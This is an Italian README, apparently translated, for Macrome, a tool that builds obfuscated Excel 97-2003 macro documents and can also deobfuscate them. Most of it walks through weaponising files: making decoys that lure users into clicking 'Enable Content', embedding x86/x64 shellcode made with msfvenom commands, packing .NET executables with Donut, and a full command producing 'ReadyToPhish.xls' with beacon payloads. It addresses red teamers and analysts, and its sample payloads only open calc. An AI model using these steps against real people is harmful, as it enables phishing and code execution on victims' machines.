
Lettore/Scrittore di documenti con macro Excel per Red Teamers e Analisti
Un Lettore/Scrittore di Documenti con Macro Excel per Red Team e Analisti. I post sul blog che descrivono cosa fa questo strumento si trovano qui e qui.

Clona o scarica questo repository, lo strumento può essere eseguito usando dotnet - per esempio:
dotnet run -- build --decoy-document Docs\decoy_document.xls --payload Docs\popcalc.bin
oppure
dotnet build
cd bin/Debug/netcoreapp2.0
dotnet Macrome.dll deobfuscate --path obfuscated_document.xls
Nota che è necessaria una build 5.0+ di dotnet per farlo funzionare come configurato - può essere scaricata da https://dotnet.microsoft.com/download/dotnet/5.0.
Rilasci binari dello strumento che non richiedono dotnet e contengono un eseguibile binario possono essere trovati nella sezione Release per Windows, OSX e Linux.
Esegui Macrome usando dotnet run dalla directory della soluzione, oppure dotnet contro il binario compilato di Macrome. Ci sono tre modalità di funzionamento per Macrome: modalità Build, modalità Dump e modalità Deofuscation.
Esegui Macrome con il comando build per generare un documento Excel contenente un foglio macro offuscato, utilizzando un documento esca e un payload macro forniti. dotnet Macrome.dll build -h mostrerà le istruzioni complete di utilizzo.
Ad esempio, per creare un documento usando il documento esca path/to/decoy_document.xls e il shellcode binario x86 memorizzato in path/to/shellcode.bin, esegui dotnet Macrome.dll build --decoy-document path/to/decoy_document.xls --payload /path/to/shellcode.bin. Questo genererà un documento XLS 2003 che, dopo essere stato aperto e aver premuto il pulsante "Abilita Contenuto", eseguirà lo shellcode di shellcode.bin.
Il resto della documentazione spiegherà ogni flag/funzione in dettaglio, ma al momento il "più recente e migliore" che Macrome ha da offrire può essere ottenuto eseguendo:
Macrome build --decoy-document decoy_document.xls --payload beacon.bin --payload64-bit beacon64.bin --payload-method Base64 --method ArgumentSubroutines --password VelvetSweatshop --preamble preamble.txt --output-file-name ReadyToPhish.xls
Per prima cosa genera un documento Excel "esca" di base che conterrà il contenuto che gli utenti dovrebbero vedere. Dovrebbe essere una sorta di esca che convince gli utenti a cliccare sul pulsante "Abilita Macro" visualizzato in Excel. Ci sono alcuni esempi della "più recente e migliore" creazione di esche su https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets-. Dopo aver creato questo foglio, salva il documento come tipo Excel 97-2003 Workbook (*.xls) invece del formato più recente Excel Workbook (*.xlsx). Un esempio di documento esca è incluso in /Docs/decoy_document.xls. Nota che se stai usando l'Offuscamento XOR per proteggere il tuo documento, attualmente NON puoi aggiungere un'immagine alla tua esca.
Successivamente, genera un payload shellcode da fornire allo strumento. Il payload binario di esempio (che apre calc) è stato generato usando msfvenom con i seguenti parametri:
msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin
Sono supportati anche payload a 64 bit. Il payload di esempio a 64 bit, popcalc64.bin, è stato generato usando il comando:
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin
Questo payload può quindi essere incorporato eseguendo il comando:
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin
Attualmente, i payload a 64 bit richiedono che sia fornito anche un payload x86. Se questo non è un problema, puoi semplicemente specificare dati spazzatura per il flag del payload x86.
Esiste un supporto eventuale per incorporare assembly .NET direttamente nel documento, ma se vuoi farlo ora suggerisco di usare EXCELntDonut.
A partire da Macrome 0.5.0 e superiori, tutti i payload saranno codificati con base64, quindi il tuo payload potrà contenere qualsiasi sequenza di byte (inclusi i byte nulli).
Se vuoi incorporare un eseguibile .NET usando Macrome, suggerisco di usare Donut con il comando donut.exe -a 3 -b 1 -z 1 executableToEmbed.exe, e poi incorporare il payload risultante come payload sia a 32 bit che a 64 bit.
Un'altra valida alternativa è Amber che ha funzionato benissimo per incorporare binari Go piuttosto grandi.
Se per qualche motivo vuoi usare la modalità legacy di codifica del payload pre-Macrome 0.5.0, usa il flag --payload-method con SheetPackingMethod. Nota che nella modalità legacy l'uso di un payload prevalentemente alfanumerico ridurrà la dimensione del file macro generato, poiché è più facile esprimere lettere e numeri in forma macro invece di aggiungere invocazioni CHAR ripetutamente come =CHAR(123)&CHAR(124)&CHAR(125)... ecc. Tuttavia lo strumento dovrebbe essere in grado di gestire anche un payload binario completamente non stampabile.
Simile all'utilizzo del payload binario, deve prima essere generato un documento esca. Successivamente, deve essere creato un file di testo contenente le macro da eseguire. Le macro dovrebbero avere colonne separate dal carattere ; e righe separate da nuove righe. Attualmente il contenuto delle macro specificate verrà scritto ed eseguito a partire da A1 - anche se in futuro verrà aggiunto il supporto per specificare la posizione di partenza. Esempi di macro si trovano in /Docs/macro_example.txt e /Docs/multi_column_macro_example.txt.
Infine, esegui il comando:
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload macro-example.txt --payload-type Macro
Nota l'uso del flag payload-type impostato su Macro.
Puoi generare una macro da solo, oppure puoi usare il fantastico strumento EXCELntDonut per creare una macro per te.